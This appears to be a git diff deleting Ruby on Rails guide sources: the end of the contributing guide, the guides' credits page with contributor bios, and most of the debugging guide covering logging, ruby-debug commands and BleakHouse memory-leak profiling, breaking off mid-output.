-$ cd rails
-$ git checkout -b my_new_branch
-</shell>
-
-It doesn’t really matter what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails git repository.
-
-h4. Write Your Code
-
-Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with +git branch -a+). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind:
-
-* Get the code right
-* Use Rails idioms and helpers
-* Include tests that fail without your code, and pass with it
-* Update the documentation, the surrounding one, examples elsewhere, guides, whatever is affected by your contribution
-
-h4. Follow the Coding Conventions
-
-Rails follows a simple set of coding style conventions.
-
-* Two spaces, no tabs.
-* No trailing whitespace. Blank lines should not have any space.
-* Indent after private/protected.
-* Prefer +&amp;&amp;+/+||+ over +and+/+or+.
-* Prefer class << self block over self.method for class methods.
-* +MyClass.my_method(my_arg)+ not +my_method( my_arg )+ or +my_method my_arg+.
-* a = b and not a=b.
-* Follow the conventions you see used in the source already.
-
-These are some guidelines and please use your best judgment in using them.
-
-h4. Sanity Check
-
-You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
-
-You might also want to check out the "RailsBridge BugMash":http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash as a way to get involved in a group effort to improve Rails. This can help you get started and help check your code when you're writing your first patches.
-
-h4. Commit Your Changes
-
-When you're happy with the code on your computer, you need to commit the changes to git:
-
-<shell>
-$ git commit -a -m "Here is a commit message on what I changed in this commit"
-</shell>
-
-h4. Update master
-
-It’s pretty likely that other changes to master have happened while you were working. Go get them:
-
-<shell>
-$ git checkout master
-$ git pull
-</shell>
-
-Now reapply your patch on top of the latest changes:
-
-<shell>
-$ git checkout my_new_branch
-$ git rebase master
-</shell>
-
-No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
-
-h4. Fork
-
-Navigate to the Rails "GitHub repository":https://github.com/rails/rails and press "Fork" in the upper right hand corner.
-
-Add the new remote to your local repository on your local machine:
-
-<shell>
-$ git remote add mine git@github.com:<your user name>/rails.git
-</shell>
-
-Push to your remote:
-
-<shell>
-$ git push mine my_new_branch
-</shell>
-
-h4. Issue a Pull Request
-
-Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner.
-
-Write your branch name in branch field (is filled with master by default) and press "Update Commit Range"
-
-Ensure the changesets you introduced are included in the "Commits" tab and that the "Files Changed" incorporate all of your changes.
-
-Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request." Rails Core will be notified about your submission.
-
-h4. Get Some Feedback
-
-Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the "rubyonrails-core mailing list":http://groups.google.com/group/rubyonrails-core/ or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
-
-h4. Iterate as Necessary
-
-It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a plugin.
-
-And then...think about your next contribution!
-
-h3. Rails Contributors
-
-All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org.
diff --git a/railties/guides/source/credits.html.erb b/railties/guides/source/credits.html.erb
deleted file mode 100644
index da6bd6acdf..0000000000
--- a/railties/guides/source/credits.html.erb
+++ /dev/null
@@ -1,72 +0,0 @@
-<% content_for :page_title do %>
-Ruby on Rails Guides: Credits
-<% end %>
-
-<% content_for :header_section do %>
-<h2>Credits</h2>
-
-<p>We'd like to thank the following people for their tireless contributions to this project.</p>
-
-<% end %>
-
-<h3 class="section">Rails Guides Reviewers</h3>
-
-<%= author('Vijay Dev', 'vijaydev', 'vijaydev.jpg') do %>
- Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He <a href="https://twitter.com/vijay_dev">tweets</a> a lot and also <a href="http://vijaydev.wordpress.com">blogs</a>.
-<% end %>
-
-<%= author('Xavier Noria', 'fxn', 'fxn.png') do %>
- Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also <a href="http://twitter.com/fxn">tweets</a> and can be found everywhere as &quot;fxn&quot;.
-<% end %>
-
-<h3 class="section">Rails Guides Designers</h3>
-
-<%= author('Jason Zimdars', 'jz') do %>
- Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="http://twitter.com/JZ">Twitter</a>.
-<% end %>
-
-<h3 class="section">Rails Guides Authors</h3>
-
-<%= author('Ryan Bigg', 'radar', 'radar.png') do %>
-Ryan Bigg works as a consultant at <a href="http://rubyx.com">RubyX</a> and has been working with Rails since 2006. He's co-authoring a book called <a href="http://manning.com/katz">Rails 3 in Action</a> and he's written many gems which can be seen on <a href="http://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>.
-<% end %>
-
-<%= author('Frederick Cheung', 'fcheung') do %>
- Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.
-<% end %>
-
-<%= author('Tore Darell', 'toretore') do %>
- Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog <a href="http://tore.darell.no">Sneaky Abstractions</a>.
-<% end %>
-
-<%= author('Jeff Dean', 'zilkey') do %>
- Jeff Dean is a software engineer with <a href="http://pivotallabs.com">Pivotal Labs</a>.
-<% end %>
-
-<%= author('Mike Gunderloy', 'mgunderloy') do %>
- Mike Gunderloy is a consultant with <a href="http://www.actionrails.com">ActionRails</a>. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a> and he <a href="http://twitter.com/MikeG1">twitters</a> too much.
-<% end %>
-
-<%= author('Mikel Lindsaar', 'raasdnil') do %>
- Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby <a href="https://github.com/mikel/mail">Mail gem</a> and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of <a href="http://rubyx.com/">RubyX</a>, has a <a href="http://lindsaar.net/">blog</a> and <a href="http://twitter.com/raasdnil">tweets</a>.
-<% end %>
-
-<%= author('Cássio Marques', 'cmarques') do %>
- Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at <a href="http://cassiomarques.wordpress.com">/* CODIFICANDO */</a>, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.
-<% end %>
-
-<%= author('James Miller', 'bensie') do %>
- James Miller is a software developer for <a href="http://www.jk-tech.com">JK Tech</a> in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as &quot;bensie&quot;.
-<% end %>
-
-<%= author('Pratik Naik', 'lifo') do %>
- Pratik Naik is a Ruby on Rails consultant with <a href="http://www.actionrails.com">ActionRails</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has an active <a href="http://twitter.com/lifo">twitter account</a>.
-<% end %>
-
-<%= author('Emilio Tagua', 'miloops') do %>
- Emilio Tagua &mdash;a.k.a. miloops&mdash; is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of <a href="http://eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as &quot;miloops&quot;.
-<% end %>
-
-<%= author('Heiko Webers', 'hawe') do %>
- Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back.
-<% end %>
diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile
deleted file mode 100644
index 3552c68418..0000000000
--- a/railties/guides/source/debugging_rails_applications.textile
+++ /dev/null
@@ -1,714 +0,0 @@
-h2. Debugging Rails Applications
-
-This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:
-
-* Understand the purpose of debugging
-* Track down problems and issues in your application that your tests aren't identifying
-* Learn the different ways of debugging
-* Analyze the stack trace
-
-endprologue.
-
-h3. View Helpers for Debugging
-
-One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
-
-* +debug+
-* +to_yaml+
-* +inspect+
-
-h4. +debug+
-
-The +debug+ helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
-
-<html>
-<%= debug @post %>
-<p>
- <b>Title:</b>
- <%=h @post.title %>
-</p>
-</html>
-
-You'll see something like this:
-
-<yaml>
---- !ruby/object:Post
-attributes:
- updated_at: 2008-09-05 22:55:47
- body: It's a very helpful guide for debugging your Rails app.
- title: Rails debugging guide
- published: t
- id: "1"
- created_at: 2008-09-05 22:55:47
-attributes_cache: {}
-
-
-Title: Rails debugging guide
-</yaml>
-
-h4. +to_yaml+
-
-Displaying an instance variable, or any other object or method, in YAML format can be achieved this way:
-
-<html>
-<%= simple_format @post.to_yaml %>
-<p>
- <b>Title:</b>
- <%=h @post.title %>
-</p>
-</html>
-
-The +to_yaml+ method converts the method to YAML format leaving it more readable, and then the +simple_format+ helper is used to render each line as in the console. This is how +debug+ method does its magic.
-
-As a result of this, you will have something like this in your view:
-
-<yaml>
---- !ruby/object:Post
-attributes:
-updated_at: 2008-09-05 22:55:47
-body: It's a very helpful guide for debugging your Rails app.
-title: Rails debugging guide
-published: t
-id: "1"
-created_at: 2008-09-05 22:55:47
-attributes_cache: {}
-
-Title: Rails debugging guide
-</yaml>
-
-h4. +inspect+
-
-Another useful method for displaying object values is +inspect+, especially when working with arrays or hashes. This will print the object value as a string. For example:
-
-<html>
-<%= [1, 2, 3, 4, 5].inspect %>
-<p>
- <b>Title:</b>
- <%=h @post.title %>
-</p>
-</html>
-
-Will be rendered as follows:
-
-<pre>
-[1, 2, 3, 4, 5]
-
-Title: Rails debugging guide
-</pre>
-
-h3. The Logger
-
-It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
-
-h4. What is the Logger?
-
-Rails makes use of Ruby's standard +logger+ to write log information. You can also substitute another logger such as +Log4r+ if you wish.
-
-You can specify an alternative logger in your +environment.rb+ or any environment file:
-
-<ruby>
-Rails.logger = Logger.new(STDOUT)
-Rails.logger = Log4r::Logger.new("Application Log")
-</ruby>
-
-Or in the +Initializer+ section, add _any_ of the following
-
-<ruby>
-config.logger = Logger.new(STDOUT)
-config.logger = Log4r::Logger.new("Application Log")
-</ruby>
-
-TIP: By default, each log is created under +Rails.root/log/+ and the log file name is +environment_name.log+.
-
-h4. Log Levels
-
-When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the +Rails.logger.level+ method.
-
-The available log levels are: +:debug+, +:info+, +:warn+, +:error+, and +:fatal+, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use
-
-<ruby>
-config.log_level = :warn # In any environment initializer, or
-Rails.logger.level = 0 # at any time
-</ruby>
-
-This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
-
-TIP: The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
-
-h4. Sending Messages
-
-To write in the current log use the +logger.(debug|info|warn|error|fatal)+ method from within a controller, model or mailer:
-
-<ruby>
-logger.debug "Person attributes hash: #{@person.attributes.inspect}"
-logger.info "Processing the request..."
-logger.fatal "Terminating application, raised unrecoverable error!!!"
-</ruby>
-
-Here's an example of a method instrumented with extra logging:
-
-<ruby>
-class PostsController < ApplicationController
- # ...
-
- def create
- @post = Post.new(params[:post])
- logger.debug "New post: #{@post.attributes.inspect}"
- logger.debug "Post should be valid: #{@post.valid?}"
-
- if @post.save
- flash[:notice] = 'Post was successfully created.'
- logger.debug "The post was saved and now the user is going to be redirected..."
- redirect_to(@post)
- else
- render :action => "new"
- end
- end
-
- # ...
-end
-</ruby>
-
-Here's an example of the log generated by this method:
-
-<shell>
-Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
- Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
-vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
- Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
- "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
- "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
-New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
- "published"=>false, "created_at"=>nil}
-Post should be valid: true
- Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published",
- "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
- 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
-The post was saved and now the user is going to be redirected...
-Redirected to #<Post:0x20af760>
-Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
-</shell>
-
-Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
-
-h3. Debugging with +ruby-debug+
-
-When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
-
-The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
-
-h4. Setup
-
-The debugger used by Rails, +ruby-debug+, comes as a gem. To install it, just run:
-
-<shell>
-$ sudo gem install ruby-debug
-</shell>
-
-TIP: If you are using Ruby 1.9, you can install a compatible version of +ruby-debug+ by running +sudo gem install ruby-debug19+
-
-In case you want to download a particular version or get the source code, refer to the "project's page on rubyforge":http://rubyforge.org/projects/ruby-debug/.
-
-Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the +debugger+ method.
-
-Here's an example:
-
-<ruby>
-class PeopleController < ApplicationController
- def new
- debugger
- @person = Person.new
- end
-end
-</ruby>
-
-If you see the message in the console or logs:
-
-<shell>
-***** Debugger requested, but was not available: Start server with --debugger to enable *****
-</shell>
-
-Make sure you have started your web server with the option +--debugger+:
-
-<shell>
-$ rails server --debugger
-=> Booting WEBrick
-=> Rails 3.0.0 application starting on http://0.0.0.0:3000
-=> Debugger enabled
-...
-</shell>
-
-TIP: In development mode, you can dynamically +require \'ruby-debug\'+ instead of restarting the server, if it was started without +--debugger+.
-
-h4. The Shell
-
-As soon as your application calls the +debugger+ method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt +(rdb:n)+. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
-
-If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
-
-For example:
-
-<shell>
-@posts = Post.all
-(rdb:7)
-</shell>
-
-Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: +help+ (You didn't see that coming, right?)
-
-<shell>
-(rdb:7) help
-ruby-debug help v0.10.2
-Type 'help <command-name>' for help on a specific command
-
-Available commands:
-backtrace delete enable help next quit show trace
-break disable eval info p reload source undisplay
-catch display exit irb pp restart step up
-condition down finish list ps save thread var
-continue edit frame method putl set tmate where
-</shell>
-
-TIP: To view the help menu for any command use +help &lt;command-name&gt;+ in active debug mode. For example: _+help var+_
-
-The next command to learn is one of the most useful: +list+. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command.
-
-This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+.
-
-<shell>
-(rdb:7) list
-[1, 10] in /PathToProject/posts_controller.rb
- 1 class PostsController < ApplicationController
- 2 # GET /posts
- 3 # GET /posts.json
- 4 def index
- 5 debugger
-=> 6 @posts = Post.all
- 7
- 8 respond_to do |format|
- 9 format.html # index.html.erb
- 10 format.json { render :json => @posts }
-</shell>
-
-If you repeat the +list+ command, this time using just +l+, the next ten lines of the file will be printed out.
-
-<shell>
-(rdb:7) l
-[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
- 11 end
- 12 end
- 13
- 14 # GET /posts/1
- 15 # GET /posts/1.json
- 16 def show
- 17 @post = Post.find(params[:id])
- 18
- 19 respond_to do |format|
- 20 format.html # show.html.erb
-</shell>
-
-And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
-
-On the other hand, to see the previous ten lines you should type +list-+ (or +l-+)
-
-<shell>
-(rdb:7) l-
-[1, 10] in /PathToProject/posts_controller.rb
- 1 class PostsController < ApplicationController
- 2 # GET /posts
- 3 # GET /posts.json
- 4 def index
- 5 debugger
- 6 @posts = Post.all
- 7
- 8 respond_to do |format|
- 9 format.html # index.html.erb
- 10 format.json { render :json => @posts }
-</shell>
-
-This way you can move inside the file, being able to see the code above and over the line you added the +debugger+.
-Finally, to see where you are in the code again you can type +list=+
-
-<shell>
-(rdb:7) list=
-[1, 10] in /PathToProject/posts_controller.rb
- 1 class PostsController < ApplicationController
- 2 # GET /posts
- 3 # GET /posts.json
- 4 def index
- 5 debugger
-=> 6 @posts = Post.all
- 7
- 8 respond_to do |format|
- 9 format.html # index.html.erb
- 10 format.json { render :json => @posts }
-</shell>
-
-h4. The Context
-
-When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
-
-ruby-debug creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
-
-At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer.
-
-<shell>
-(rdb:5) where
- #0 PostsController.index
- at line /PathTo/project/app/controllers/posts_controller.rb:6
- #1 Kernel.send
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
- #2 ActionController::Base.perform_action_without_filters
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
- #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
-...
-</shell>
-
-You move anywhere you want in this trace (thus changing the context) by using the +frame _n_+ command, where _n_ is the specified frame number.
-
-<shell>
-(rdb:5) frame 2
-#2 ActionController::Base.perform_action_without_filters
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-</shell>
-
-The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
-
-Moving up and down the stack frame: You can use +up [n]+ (+u+ for abbreviated) and +down [n]+ commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
-
-h4. Threads
-
-The debugger can list, stop, resume and switch between running threads by using the command +thread+ (or the abbreviated +th+). This command has a handful of options:
-
-* +thread+ shows the current thread.
-* +thread list+ is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
-* +thread stop _n_+ stop thread _n_.
-* +thread resume _n_+ resumes thread _n_.
-* +thread switch _n_+ switches the current thread context to _n_.
-
-This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
-
-h4. Inspecting Variables
-
-Any expression can be evaluated in the current context. To evaluate an expression, just type it!
-
-This example shows how you can print the instance_variables defined within the current context:
-
-<shell>
-@posts = Post.all
-(rdb:11) instance_variables
-["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
-</shell>
-
-As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using +next+ (you'll learn more about this command later in this guide).
-
-<shell>
-(rdb:11) next
-Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
- Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
- Parameters: {"action"=>"index", "controller"=>"posts"}
-/PathToProject/posts_controller.rb:8
-respond_to do |format|
-</shell>
-
-And then ask again for the instance_variables:
-
-<shell>
-(rdb:11) instance_variables.include? "@posts"
-true
-</shell>
-
-Now +@posts+ is included in the instance variables, because the line defining it was executed.
-
-TIP: You can also step into *irb* mode with the command +irb+ (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
-
-The +var+ method is the most convenient way to show variables and their values:
-
-<shell>
-var
-(rdb:1) v[ar] const <object> show constants of object
-(rdb:1) v[ar] g[lobal] show global variables
-(rdb:1) v[ar] i[nstance] <object> show instance variables of object
-(rdb:1) v[ar] l[ocal] show local variables
-</shell>
-
-This is a great way to inspect the values of the current context variables. For example:
-
-<shell>
-(rdb:9) var local
- __dbg_verbose_save => false
-</shell>
-
-You can also inspect for an object method this way:
-
-<shell>
-(rdb:9) var instance Post.new
-@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
-@attributes_cache = {}
-@new_record = true
-</shell>
-
-TIP: The commands +p+ (print) and +pp+ (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
-
-You can use also +display+ to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
-
-<shell>
-(rdb:1) display @recent_comments
-1: @recent_comments =
-</shell>
-
-The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use +undisplay _n_+ where _n_ is the variable number (1 in the last example).
-
-h4. Step by Step
-
-Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
-
-Use +step+ (abbreviated +s+) to continue running your program until the next logical stopping point and return control to ruby-debug.
-
-TIP: You can also use +step+ _n_+ and +step- _n_+ to move forward or backward _n_ steps respectively.
-
-You may also use +next+ which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
-
-The difference between +next+ and +step+ is that +step+ stops at the next line of code executed, doing just a single step, while +next+ moves to the next line without descending inside methods.
-
-For example, consider this block of code with an included +debugger+ statement:
-
-<ruby>
-class Author < ActiveRecord::Base
- has_one :editorial
- has_many :comments
-
- def find_recent_comments(limit = 10)
- debugger
- @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
- end
-end
-</ruby>
-
-TIP: You can use ruby-debug while using +rails console+. Just remember to +require "ruby-debug"+ before calling the +debugger+ method.
-
-<shell>
-$ rails console
-Loading development environment (Rails 3.1.0)
->> require "ruby-debug"
-=> []
->> author = Author.first
-=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
->> author.find_recent_comments
-/PathTo/project/app/models/author.rb:11
-)
-</shell>
-
-With the code stopped, take a look around:
-
-<shell>
-(rdb:1) list
-[2, 9] in /PathTo/project/app/models/author.rb
- 2 has_one :editorial
- 3 has_many :comments
- 4
- 5 def find_recent_comments(limit = 10)
- 6 debugger
-=> 7 @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
- 8 end
- 9 end
-</shell>
-
-You are at the end of the line, but... was this line executed? You can inspect the instance variables.
-
-<shell>
-(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-</shell>
-
-+@recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code:
-
-<shell>
-(rdb:1) next
-/PathTo/project/app/models/author.rb:12
-@recent_comments
-(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-@comments = []
-@recent_comments = []
-</shell>
-
-Now you can see that the +@comments+ relationship was loaded and @recent_comments defined because the line was executed.
-
-If you want to go deeper into the stack trace you can move single +steps+, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
-
-h4. Breakpoints
-
-A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
-
-You can add breakpoints dynamically with the command +break+ (or just +b+). There are 3 possible ways of adding breakpoints manually:
-
-* +break line+: set breakpoint in the _line_ in the current source file.
-* +break file:line [if expression]+: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
-* +break class(.|\#)method [if expression]+: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
-
-<shell>
-(rdb:5) break 10
-Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
-</shell>
-
-Use +info breakpoints _n_+ or +info break _n_+ to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
-
-<shell>
-(rdb:5) info breakpoints
-Num Enb What
- 1 y at filters.rb:10
-</shell>
-
-To delete breakpoints: use the command +delete _n_+ to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
-
-<shell>
-(rdb:5) delete 1
-(rdb:5) info breakpoints
-No breakpoints.
-</shell>
-
-You can also enable or disable breakpoints:
-
-* +enable breakpoints+: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
-* +disable breakpoints+: the _breakpoints_ will have no effect on your program.
-
-h4. Catching Exceptions
-
-The command +catch exception-name+ (or just +cat exception-name+) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
-
-To list all active catchpoints use +catch+.
-
-h4. Resuming Execution
-
-There are two ways to resume execution of an application that is stopped in the debugger:
-
-* +continue+ [line-specification] (or +c+): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
-* +finish+ [frame-number] (or +fin+): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
-
-h4. Editing
-
-Two commands allow you to open code from the debugger into an editor:
-
-* +edit [file:line]+: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
-* +tmate _n_+ (abbreviated +tm+): open the current file in TextMate. It uses n-th frame if _n_ is specified.
-
-h4. Quitting
-
-To exit the debugger, use the +quit+ command (abbreviated +q+), or its alias +exit+.
-
-A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
-
-h4. Settings
-
-There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:
-
-* +set reload+: Reload source code when changed.
-* +set autolist+: Execute +list+ command on every breakpoint.
-* +set listsize _n_+: Set number of source lines to list by default to _n_.
-* +set forcestep+: Make sure the +next+ and +step+ commands always move to a new line
-
-You can see the full list by using +help set+. Use +help set _subcommand_+ to learn about a particular +set+ command.
-
-TIP: You can include any number of these configuration lines inside a +.rdebugrc+ file in your HOME directory. ruby-debug will read this file every time it is loaded and configure itself accordingly.
-
-Here's a good start for an +.rdebugrc+:
-
-<shell>
-set autolist
-set forcestep
-set listsize 25
-</shell>
-
-h3. Debugging Memory Leaks
-
-A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
-
-In this section, you will learn how to find and fix such leaks by using tools such as BleakHouse and Valgrind.
-
-h4. BleakHouse
-
-"BleakHouse":https://github.com/fauna/bleak_house/tree/master is a library for finding memory leaks.
-
-If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.
-
-To install it run:
-
-<shell>
-$ sudo gem install bleak_house
-</shell>
-
-Then setup your application for profiling. Then add the following at the bottom of config/environment.rb:
-
-<ruby>
-require 'bleak_house' if ENV['BLEAK_HOUSE']
-</ruby>
-
-Start a server instance with BleakHouse integration:
-
-<shell>
-$ RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house rails server
-</shell>
-
-Make sure to run a couple hundred requests to get better data samples, then press +CTRL-C+. The server will stop and Bleak House will produce a dumpfile in +/tmp+:
-
-<shell>
-** BleakHouse: working...
-** BleakHouse: complete
-** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
-</shell>
-
-To analyze it, just run the listed command. The top 20 leakiest lines will be listed:
-
-<shell>
- 191691 total objects
- Final heap size 191691 filled, 220961 free
- Displaying top 20 most common line/class pairs
- 89513 __null__:__null__:__node__
- 41438 __null__:__null__:String
